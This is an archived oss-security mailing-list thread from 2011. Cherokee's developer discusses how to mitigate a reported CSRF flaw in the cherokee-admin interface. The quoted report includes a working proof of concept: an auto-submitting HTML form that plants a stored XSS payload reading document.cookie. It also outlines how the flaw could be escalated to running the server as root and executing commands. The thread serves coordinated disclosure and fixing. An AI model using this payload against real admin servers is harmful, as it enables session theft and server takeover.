|
Message-ID: <BANLkTi=q8-BiuqSd6HupFgqm3eSwE3_XNg@mail.gmail.com> Date: Mon, 6 Jun 2011 19:03:25 +0200 From: Alvaro Lopez Ortega <alvaro@...ality.com> To: Jamie Strandboge <jamie@...onical.com> Cc: oss-security@...ts.openwall.com Subject: Re: Security issue in cherokee Hello Jamie, First of all, thanks for the notice. I've been thinking about this, and I must confess I haven't found a suitable solution to the problem. I have even written a patch that mitigates the issue, although it isn't still the proper solution. Allow me to elaborate a little bit: - Cherokee-admin already puts a security cookie in place. The back-end checks on every single requests (GET and POST). Of course this does not solve the problem. Since the browser already knows the cookie, it sends it even while begin CRSF'ed. - I have cooked a patch that adds a "key=<random>" validation key to every single form of the application. It does work to protect against some very basic CRSF attacks, although it is not completely secure. Web browser are not supposed to allow to perform cross-domain requests, but they do. The problem is obvious then. The attacker could GET one of the app pages, extract the POST validation key and use it to get his POST accepted by the application. - I do not even mention useless techniques like checking the Referrer header. Am I missing something? Is there any idea/proposal on how to fix up the issue properly? Cheers! On Fri, Jun 3, 2011 at 6:01 PM, Jamie Strandboge <jamie@...onical.com>wrote: > A security bug was reported against cherokee in Ubuntu. You are being > emailed as the upstream contact. Please keep oss-security[1] CC'd for > any updates on this issue. > > This issue should be considered public, but has not yet been assigned a > CVE. Once a CVE is assigned, please mention it in any changelogs. > > Details from the public bug follow: > https://launchpad.net/bugs/784632 > > From the reporter: > ---- > The cherokee admin server is vulnerable to csrf. > > Using csrf it is possible to produce a persistent xss in several pages - > including the 'status' page via the 'nickname field' of a vserver. > An example of this is the following: > > <html> > <body> > <form action="http://127.0.0.1:9090/vserver/apply" method="post" > id="xssform"> > <input type="text" name="tmp!new_droot" value='/var/www/'></input> > <input type="text" name="tmp!new_nick" value='" onselect=alert(1) > autofocus> <embed src="javascript:alert(document.cookie)">'></input> > </form> > <script>document.getElementById("xssform").submit();</script> > </body> > > A Worst case scenario could be something like the following: > If a user is logged in and the cherokee admin server is running on > localhost:9090 then if they visit a $bad page - the bad page may be able > to send requests to the server so as to reconfigure it to: > > 1. run as root > 2. the logging of error(or access) will run a command ... > ---- > > Thanks in advance for your cooperation in coordinating a fix for this > issue, > > Jamie Strandboge > > [1] oss-security@...ts.openwall.com is a public mailing list for > people to collaborate on security vulnerabilities and coordinate > security updates. > > -- > Jamie Strandboge | http://www.canonical.com > -- Greetings, alo http://www.octality.com/
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.